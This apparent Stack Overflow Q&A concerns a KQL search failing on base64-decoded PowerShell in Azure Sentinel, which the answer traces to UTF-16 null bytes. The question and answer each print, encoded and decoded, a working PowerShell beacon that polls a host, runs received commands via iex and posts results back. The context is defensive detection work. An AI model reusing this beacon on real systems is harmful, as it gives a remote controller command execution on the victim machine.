1

I'm having difficulty searching a field for a value in KQL.

The field I am searching I get by decoding a base64 encoded string using the built in function base64_decode_tostring(). The string I am decoding is:

JABzAD0AJwAxADcAMgAuADIAMAAuADEAMAAuADIAOgA4ADAAOAAwACcAOwAkAGkAPQAnADYAOAAwADcAOQBhADAAYgAtADMANgA5ADAAMwAyADEAZAAtADEANgA2ADgAZABjADYAMQAnADsAJABwAD0AJwBoAHQAdABwADoALwAvACcAOwAkAHYAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAcAAkAHMALwA2ADgAMAA3ADkAYQAwAGIAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0AOQAyAGQAOQAtAGEAYgA2ADEAIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMwA2ADkAMAAzADIAMQBkACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQApAC4AQwBvAG4AdABlAG4AdAA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABwACQAcwAvADEANgA2ADgAZABjADYAMQAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQAgAC0AQgBvAGQAeQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQArACQAcgApACAALQBqAG8AaQBuACAAJwAgACcAKQB9ACAAcwBsAGUAZQBwACAAMAAuADgAfQA=

This String decodes to what I expect in the decodedString Column:

$s='172.20.10.2:8080';$i='68079a0b-3690321d-1668dc61';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/68079a0b -Headers @{"X-92d9-ab61"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/3690321d -Headers @{"X-92d9-ab61"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/1668dc61 -Method POST -Headers @{"X-92d9-ab61"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

It can be seen here in the results table: Decoded String in Results

When I try and use a | where decodedString contains "X-92d9-ab61" clause to detect the string value in the decodedString, Sentinel says there are no results. However I can clearly see this string in my decodedString column above.

Where clause with no results

In fact, the where clause won't detect anything, unless it is a single character included in the decodedString column.

Why will it only detect single characters? Why will it not detect more than a one character string?

LiamWBA
  • 53
  • 7
  • Not reproduceable (because you didn't share a data sample) and doesn't seem to make much sense. Why decoding the entire data instead of encoding only the search term? – David דודו Markovitz Oct 11 '22 at 14:26
  • P.S if your function accepts payload as string what's the point of converting it to string? – David דודו Markovitz Oct 11 '22 at 14:28
  • I can't share a dataset as confidential. The purpose of it accepting a string as a payload is because it decodes a base64 encoded string to a human readable UTF-8 string. Then I want to search for values in the UTF-8 but I can't because of the way the `base64_decode_tostring()` method is only returning what seems like a char array. As I said, when I try to search for more than one character in the `decodedString` it shows no results - however, I can clearly see the results when I use a where clause for one or fewer characters – LiamWBA Oct 11 '22 at 14:37
  • **(1)** You don't need to share data; you need to supply one record with fictive data. **(2)** No. `(payload:string)` means that payload is of type string or converted to string when passed to the function. `tostring(payload)` makes no sense. – David דודו Markovitz Oct 11 '22 at 14:57

1 Answers1

1

ADX (Azure Data Explorer) aka Kusto, is the service used as a database for Azure Sentinel.
As the ADX documentation states "Internally, strings are encoded in UTF-8".

According to the phenomena you described, and the string you supplied ("AGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAG") it seems that your original data is of a different encoding, most likely UTF-16BE, therefore after ingestion you see your text as characters separated by the null character.

Something like this: String example

The recommended solution would be to convert your data to UTF-8 before ingesting it to Azure Sentinel.

Update

If the string is constructed only from ASCII characters, we can get a valid, searchable UTF-8 string by removing the NULL characters.

let str = "JABzAD0AJwAxADcAMgAuADIAMAAuADEAMAAuADIAOgA4ADAAOAAwACcAOwAkAGkAPQAnADYAOAAwADcAOQBhADAAYgAtADMANgA5ADAAMwAyADEAZAAtADEANgA2ADgAZABjADYAMQAnADsAJABwAD0AJwBoAHQAdABwADoALwAvACcAOwAkAHYAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAcAAkAHMALwA2ADgAMAA3ADkAYQAwAGIAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0AOQAyAGQAOQAtAGEAYgA2ADEAIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMwA2ADkAMAAzADIAMQBkACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQApAC4AQwBvAG4AdABlAG4AdAA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABwACQAcwAvADEANgA2ADgAZABjADYAMQAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQAgAC0AQgBvAGQAeQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQArACQAcgApACAALQBqAG8AaQBuACAAJwAgACcAKQB9ACAAcwBsAGUAZQBwACAAMAAuADgAfQA=";
print translate("\0", "", base64_decode_tostring(str))
print_0
$s='172.20.10.2:8080';$i='68079a0b-3690321d-1668dc61';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/68079a0b -Headers @{"X-92d9-ab61"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/3690321d -Headers @{"X-92d9-ab61"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/1668dc61 -Method POST -Headers @{"X-92d9-ab61"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

Fiddle

David דודו Markovitz
  • 42,900
  • 6
  • 64
  • 88
  • I have updated the question, hopefully this will make it easier to understand – LiamWBA Oct 12 '22 at 16:11
  • It could have made my life easier, but at least now we have a decent question with a reproducible scenario. The answer stays the same. – David דודו Markovitz Oct 12 '22 at 16:27
  • Then why is the decodedString value displayed in clear text in the results? That is what I don't understand. I can see the data in the results is not how this answers displays. Plus I am decoding the string using a built in function which according to MS docs states: "will return null if the string is not valid". Therefore I know the decode function is not failing – LiamWBA Oct 12 '22 at 16:29
  • **(1)** I have no idea how Azure Sentinel is displaying text. Maybe it's using UTF-16. Maybe it simply doesn't display NULL characters. **(2)** Bytes are bytes, and those bytes can also be interpreted as a valid UTF-8 string (with a lot of NULLS though) **(3)** See updated answer – David דודו Markovitz Oct 12 '22 at 16:44